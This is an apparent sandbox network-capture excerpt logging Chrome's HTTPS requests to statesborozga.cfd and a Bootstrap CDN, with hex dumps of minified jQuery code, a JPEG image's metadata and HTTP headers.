r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:02 UTC	605	OUT	GET /Proten/images/8.jpg HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://statesborozga.cfd/Proten/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	662	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:02 GMT Content-Type: image/jpeg Content-Length: 161118 Connection: close Last-Modified: Tue, 21 Jan 2020 13:41:42 GMT Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a19vLJPnbSSlfdB3Jb9F3hTXTZHviTOzWOlEfnQaWMV%2BL2Jk22723Dtp7qyEhRk6PGzhC9yd2xDxBzkuPuFyklqSmqqXQSCC95RnqM4AhoqXISOO9U1nlKO%2FOtSBBYmssdmRzw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd88aee418bb6-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:02 UTC	707	IN	Data Raw: ff d8 ff e1 0c af 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 04 b0 00 00 01 01 00 03 00 00 00 01 02 c5 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 22 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d6 87 69 00 04 00 00 00 01 00 00 00 ec 00 00 01 24 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 30 3a 30 31 3a 32 31 20 31 33 3a 34 31 3a 34 32 00 00 00 00 04 90 00 00 07 00 Data Ascii: ExifMM*(1"2i$''Adobe Photoshop CC 2015 (Windows)2020:01:21 13:41:42
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f4 c8 12 f6 87 c9 71 81 10 4b 4a 47 1e d3 78 b3 d5 22 b0 cd a6 a8 10 5d fe 92 54 58 d6 0b 1c 5b 5e c2 6d d4 9f ce Data Ascii: Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw?qKJGx"]TX[^m
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 92 90 59 fc fb 50 cb 87 bc 8c 8d be e8 d6 34 3f bb ee 53 b0 fe b0 c1 13 3d fc 34 4c 05 b2 f9 a5 87 dd ed d7 91 fb ce d1 34 df 14 7e aa 62 5d a6 99 60 1f 18 6f 0a a7 57 cc 6f d8 33 b1 bd 3b 0f ea b6 9f 5b 6f e8 ff 00 9b 73 bf 9c 57 d8 d2 e9 f5 2a 6b 07 6e 0f f0 55 fa ce 9d 1b 3c 0e 06 35 da 7f 61 c9 e2 ba 85 17 ff d2 f4 f7 fd 26 7f 59 19 05 ff 00 49 9f d6 46 49 4a 59 2c c8 e8 b7 e6 ba a9 71 c9 2f 2d 2d 3e a0 f7 0f a5 b7 f3 16 b2 c7 7d ac 19 16 7d 01 2e 70 83 6b db af f5 76 6d 6a 4a 6f 8e 9f 88 04 6c d3 fa ce ff 00 c9 22 d5 4d 74 b4 b6 b1 00 99 22 49 d4 ff 00 59 64 36 f0 c6 c4 d7 b6 00 68 37 d9 33 fb bf 45 3c b9 b3 5c 06 90 d0 e8 37 59 c7 d2 f6 bb 6a 49 af 2f b5 da 49 62 32 f6 80 1a 0d 6e 70 10 1e eb ac 26 4f d2 1f 41 45 cf 63 81 0d 7b 74 e2 72 2d d7 bf bb Data Ascii: YP4?S=4L4~b]`oWo3;[osW*knU<5a&YIFIJY,q/-->}}.pkvmjJol"Mt"IYd6h73E<\7YjI/Ib2np&OAEc{tr-
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 65 54 45 58 54 00 00 00 01 00 00 00 00 00 0f 70 72 69 6e 74 50 72 6f 6f 66 53 65 74 75 70 4f 62 6a 63 00 00 00 0c 00 50 00 72 00 6f 00 6f 00 66 00 20 00 53 00 65 00 74 00 75 00 70 00 00 00 00 00 0a 70 72 6f 6f 66 53 65 74 75 70 00 00 00 01 00 00 00 00 42 6c 74 6e 65 6e 75 6d 00 00 00 0c 62 75 69 6c 74 69 6e 50 72 6f 6f 66 00 00 00 09 70 72 6f 6f 66 43 4d 59 4b 00 38 42 49 4d 04 3b 00 00 00 00 02 2d 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 17 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 00 00 00 00 52 67 73 4d 62 6f 6f 6c 00 00 00 00 00 43 72 6e 43 62 6f 6f 6c 00 00 00 00 00 43 6e 74 43 62 6f 6f 6c 00 00 00 00 00 4c 62 6c 73 62 6f 6f 6c 00 00 00 00 00 4e 67 74 Data Ascii: eTEXTprintProofSetupObjcProof SetupproofSetupBltnenumbuiltinProofproofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgt
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 6f 75 70 49 44 6c 6f 6e 67 00 00 00 00 00 00 00 06 6f 72 69 67 69 6e 65 6e 75 6d 00 00 00 0c 45 53 6c 69 63 65 4f 72 69 67 69 6e 00 00 00 0d 61 75 74 6f 47 65 6e 65 72 61 74 65 64 00 00 00 00 54 79 70 65 65 6e 75 6d 00 00 00 0a 45 53 6c 69 63 65 54 79 70 65 00 00 00 00 49 6d 67 20 00 00 00 06 62 6f 75 6e 64 73 4f 62 6a 63 00 00 00 01 00 00 00 00 00 00 52 63 74 31 00 00 00 04 00 00 00 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 02 86 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 04 b0 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 6e 75 6c 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 4d 73 67 65 54 45 58 54 00 00 00 01 00 00 00 00 00 06 61 6c 74 54 61 67 54 45 Data Ascii: oupIDlongoriginenumESliceOriginautoGeneratedTypeenumESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTE
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 06 b2 d0 1b 5c 70 7f 7b 72 9e df 20 a6 92 4a 42 5e c0 ff 00 4c b7 dd f0 d1 4a 07 87 e0 ab 92 4e 7b 87 6d ad 84 e3 23 19 c6 cd 48 2c 76 d7 c8 3c fc 92 55 1d fb 34 ba c7 4b cf ce b2 b7 62 65 9c 66 b1 ae 6b 98 24 02 4f 16 4d 7f ba b3 ad e8 bd 53 13 13 37 23 23 38 dd 48 c4 bc 3a 99 73 83 89 ad d1 fc e7 d1 da ba 3a ef ad c7 65 64 e8 27 82 04 7c 4a af d6 49 3d 1f 3f ff 00 0b 5d ff 00 50 e5 28 cf 31 0e 0d 38 6a be 58 de be 2c 67 0c 0c b8 f5 bd f7 2f ff d0 f4 dd 8e 63 c1 73 cb f7 d9 20 1f cd 1f b8 d5 61 05 ff 00 49 9f d6 46 49 4a 59 ce c5 ca f5 2c 35 87 34 38 92 26 d3 07 fb 31 ec 5a 2b 2e d7 da db 2c d8 f7 89 77 b4 7a ac 00 1f 2d df 47 fa 89 29 3d 38 24 b4 3a d7 58 cb 01 3a b6 c2 79 45 fb 1b 76 ed f5 6d 81 11 ef 33 a2 a2 db 6d d9 a3 dc f3 27 43 73 07 3e df a4 3f Data Ascii: \p{r JB^LJN{m#H,v<U4Kbefk$OMS7##8H:s:ed'\|JI=?]P(18jX,g/cs aIFIJY,548&1Z+.,wz-G)=8$:X:yEvm3m'Cs>?
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 87 bc ee d2 1d b8 8f c8 87 d6 7f e4 7c ff 00 fc 2d 77 fd 43 95 b6 17 c4 3c 82 ee fb 78 55 fa 98 a8 f4 dc c1 71 2d a8 d1 67 a8 e6 89 70 6e c7 6f 2d 1f bd b5 25 3f ff d3 f4 f7 fd 26 7f 59 19 05 ff 00 49 9f d6 46 49 4a 58 d7 1b 3d 67 37 d4 70 6e f3 a1 c8 60 03 5f 6f b4 b5 6c ac ab 4b 8d af d1 f1 b9 c1 c0 7a 51 fd 6f 77 b9 24 83 48 4d 96 bb 63 77 b8 92 7f ee 43 26 40 fe a2 66 ba d3 69 2d 7d 84 83 02 72 59 07 fb 3b 51 58 c7 b4 00 3d 43 ee 90 ef d1 29 16 9a 89 8d d1 b8 4b 87 a4 00 f8 24 9e 2f 00 81 de a1 78 0d b9 fb 46 ae fd 61 80 c1 fa 2f fa 09 dc fb b6 c0 7b c1 3a 41 c8 66 b2 3d 9c 33 f3 91 40 74 6a 5f a0 3a cd 50 41 fc d4 c1 d6 b4 82 64 87 36 45 7f a2 10 27 6e e6 3b f9 0d 49 1c 5e 01 85 96 dc 77 3c d8 e6 8d ba 06 de cd 34 f0 da 98 db 73 99 b8 58 e6 90 e1 13 Data Ascii: \|-wC<xUq-gpno-%?&YIFIJX=g7pn`_olKzQow$HMcwC&@fi-}rY;QX=C)K$/xFa/{:Af=3@tj_:PAd6E'n;I^w<4sX
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 37 42 36 46 33 35 42 30 37 42 38 30 44 44 33 38 41 45 30 35 35 33 37 36 38 39 43 44 41 42 37 31 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 31 39 31 37 38 31 31 34 2d 35 39 64 63 2d 31 38 34 36 2d 39 66 34 39 2d 66 61 37 64 37 35 35 36 64 34 38 64 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 37 42 36 46 33 35 42 30 37 42 38 30 44 44 33 38 41 45 30 35 35 33 37 36 38 39 43 44 41 42 37 31 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 6a 70 65 67 22 20 70 68 6f 74 6f 73 68 6f Data Ascii: /1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="7B6F35B07B80DD38AE05537689CDAB71" xmpMM:InstanceID="xmp.iid:19178114-59dc-1846-9f49-fa7d7556d48d" xmpMM:OriginalDocumentID="7B6F35B07B80DD38AE05537689CDAB71" dc:format="image/jpeg" photosho
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 77 22 3f 3e ff ee 00 0e 41 64 6f 62 65 00 Data Ascii: <?xpacket end="w"?>Adobe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	104.18.10.207	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:02 UTC	591	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://statesborozga.cfd sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://statesborozga.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	968	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 04/02/2024 02:05:57 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: a51b300925dede2e484a32ee3eaac593 CDN-Cache: HIT 